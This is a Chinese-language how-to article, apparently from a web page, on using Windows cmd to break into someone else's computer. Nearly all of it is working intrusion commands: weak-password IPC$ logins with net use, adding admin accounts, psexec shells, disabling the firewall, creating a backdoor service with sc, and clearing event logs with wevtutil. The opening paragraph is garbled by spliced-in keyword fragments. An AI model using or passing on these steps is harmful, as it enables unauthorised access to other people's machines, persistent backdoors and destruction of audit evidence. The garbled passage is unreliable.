内容摘要：cmd窗口弹出来的时候，屏幕上只有一行行白字。真正用cmd去“入侵”一台机器，靠的不是敲几个炫酷命令，而是利用Windows系统本身遗留的管理漏洞和错误配置。最常见的路径，是远程桌面协议RDP）和IP

cmd窗口弹出来的令入时候，屏幕上只有一行行白字。侵别真正用cmd去“入侵”一台机器，人电靠的脑详不是敲几个炫酷命令，而是细步利用Windows系统本身遗留的管理漏洞和错误配置。最常见的令入路径，是侵别远程桌面协议（RDP）和IPC$共享，这俩几乎成了默认后门。人电

先得扫到目标IP。脑详用ping 目标IP看通不通，细步通了就说明在线。令入接着用telnet 目标IP 3389测试远程桌面端口是侵别否开放。如果通了，人电恭喜，脑详你找到了一扇没锁的细步门。但光有门不够，还得有钥匙——账号密码。

弱口令是最大的突破口。很多公司服务器上还挂着administrator账号，密码是admin123或者干脆空密码。这时候用net use \\目标IP\IPC$ "密码" /user:"administrator"建立空连接。这命令看着简单，但它直接验证了系统是否允许空会话或弱口令登录。一旦返回“命令成功完成”，你就已经拿到了系统的最低权限。

拿到权限别急着高兴，得提升权限。先执行net localgroup administrators看看当前账号在不在管理员组里。如果不在，就尝试用net user 黑客账号 密码 /add创建一个新用户，再net localgroup administrators 黑客账号 /add把他提权。但这一步常常被UAC（用户账户控制）拦截——除非你之前已经通过IPC$拿到了系统级的令牌。

真正老练的操作是直接利用psexec工具。下载Sysinternals套件里的psexec.exe，在cmd里运行：psexec \\目标IP -u administrator -p 密码 cmd.exe。这命令会在目标机器上启动一个交互式命令行窗口，而且是以系统权限运行的。这时候你敲的每一条命令，都相当于在对方电脑上直接操作。比如ipconfig /all看网络配置，net user枚举所有账户，甚至shutdown -r -t 0直接重启机器。

但这里有个致命细节——防火墙和杀毒软件。Windows Defender默认会拦截psexec的远程调用，除非你事先用netsh advfirewall set allprofiles state off把防火墙关了。但执行这条命令本身就需要管理员权限，这就成了先有鸡还是先有蛋的问题。所以实战中，攻击者往往先用IPC$配合sc命令远程创建服务来绕过防护。

举个例子，用sc \\目标IP create 后门服务 binpath= "cmd.exe /c net user hacker P@ssw0rd /add"，这条命令会在目标机器上创建一个名为“后门服务”的假服务，服务启动时执行添加用户的命令。然后sc \\目标IP start 后门服务触发它。整个过程不依赖psexec，而且很多杀毒软件对sc命令不敏感。

最后一步是清理痕迹。用wevtutil cl system和wevtutil cl security清空系统日志和安全日志，再用del %temp%\*.*删掉临时文件。但说实话，这步经常被忽略——很多新手入侵完就跑了，结果第二天就被网管顺着IP查出来。

说句实在话，这套流程现在成功率已经很低了。微软从Win10开始默认禁用SMBv1，IPC$空连接在域环境下基本失效，RDP也强制要求网络级别认证。真正还在用弱口令的机器，多半是老旧工控机或者运维偷懒的内网服务器。你要是真想练手，建议在虚拟机里搭个Windows Server 2003，那才叫漏洞百出，一条net use命令就能让你体验当黑客的快感。